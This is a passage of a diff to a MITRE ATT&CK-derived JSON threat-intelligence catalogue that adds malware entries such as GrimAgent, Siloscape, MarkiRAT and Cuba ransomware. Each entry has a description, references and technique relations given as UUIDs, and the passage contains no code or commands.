+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "835a79f1-842d-472d-b8f4-d54b545c341b",
@@ -33525,13 +37742,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
"tags": [
@@ -33703,6 +37913,194 @@
"uuid": "7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
"value": "TYPEFRAME - S0263"
},
+ {
+ "description": "[GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)",
+ "meta": {
+ "external_id": "S0632",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0632",
+ "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer"
+ ],
+ "synonyms": [
+ "GrimAgent"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c877e33f-1df6-40d6-b1e7-ce70f16f4979",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "c9b99d03-ff11-4a48-95f0-82660d582c25",
+ "value": "GrimAgent - S0632"
+ },
{
"description": "[RedDrop](https://attack.mitre.org/software/S0326) is an Android malware family that exfiltrates sensitive data from devices. (Citation: Wandera-RedDrop)",
"meta": {
@@ -33939,6 +38337,125 @@
"uuid": "c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
"value": "Kwampirs - S0236"
},
+ {
+ "description": "[Siloscape](https://attack.mitre.org/software/S0623) is malware that targets Kubernetes clusters through Windows containers. [Siloscape](https://attack.mitre.org/software/S0623) was first observed in March 2021.(Citation: Unit 42 Siloscape Jun 2021)",
+ "meta": {
+ "external_id": "S0623",
+ "mitre_platforms": [
+ "Windows",
+ "Containers"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0623",
+ "https://unit42.paloaltonetworks.com/siloscape/"
+ ],
+ "synonyms": [
+ "Siloscape"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "7b50a1d3-4ca7-45d1-989d-a6503f04bfe1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4a5b7ade-8bb5-4853-84ed-23f262002665",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "4fbd565b-bf55-4ac7-80b4-b183a7b64b9c",
+ "value": "Siloscape - S0623"
+ },
{
"description": "[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)",
"meta": {
@@ -35780,6 +40297,97 @@
"uuid": "bd0536d7-b081-43ae-a773-cfb057c5b988",
"value": "HARDRAIN - S0246"
},
+ {
+ "description": "[BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)",
+ "meta": {
+ "external_id": "S0642",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0642",
+ "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
+ "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies"
+ ],
+ "synonyms": [
+ "BADFLICK"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "57d83eac-a2ea-42b0-a7b2-c80c55157790",
+ "value": "BADFLICK - S0642"
+ },
{
"description": "[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)",
"meta": {
@@ -35934,6 +40542,64 @@
"uuid": "8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
"value": "OopsIE - S0264"
},
+ {
+ "description": "[Ecipekac](https://attack.mitre.org/software/S0624) is a multi-layer loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2019 including use as a loader for [P8RAT](https://attack.mitre.org/software/S0626), [SodaMaster](https://attack.mitre.org/software/S0627), and [FYAnti](https://attack.mitre.org/software/S0628).(Citation: Securelist APT10 March 2021)",
+ "meta": {
+ "external_id": "S0624",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0624",
+ "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/"
+ ],
+ "synonyms": [
+ "Ecipekac",
+ "HEAVYHAND",
+ "SigLoader",
+ "DESLoader"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3",
+ "value": "Ecipekac - S0624"
+ },
{
"description": "[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)",
"meta": {
@@ -36781,6 +41447,27 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "7bef1b56-4870-4e74-b32a-7dd88c390c44",
@@ -37327,6 +42014,361 @@
"uuid": "d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb",
"value": "DDKONG - S0255"
},
+ {
+ "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) is a remote access Trojan (RAT) compiled with Visual Studio that has been used by [Ferocious Kitten](https://attack.mitre.org/groups/G0137) since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)",
+ "meta": {
+ "external_id": "S0652",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0652",
+ "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/"
+ ],
+ "synonyms": [
+ "MarkiRAT"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "315f51f0-6b03-4c1e-bfb2-84740afb8e21",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "532c6004-b1e8-415b-9516-f7c14ba783b1",
+ "value": "MarkiRAT - S0652"
+ },
+ {
+ "description": "\n[Cuba](https://attack.mitre.org/software/S0625) is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.(Citation: McAfee Cuba April 2021)",
+ "meta": {
+ "external_id": "S0625",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0625",
+ "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf"
+ ],
+ "synonyms": [
+ "Cuba"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "6cd07296-14aa-403d-9229-6343d03d4752",
+ "value": "Cuba - S0625"
+ },
{
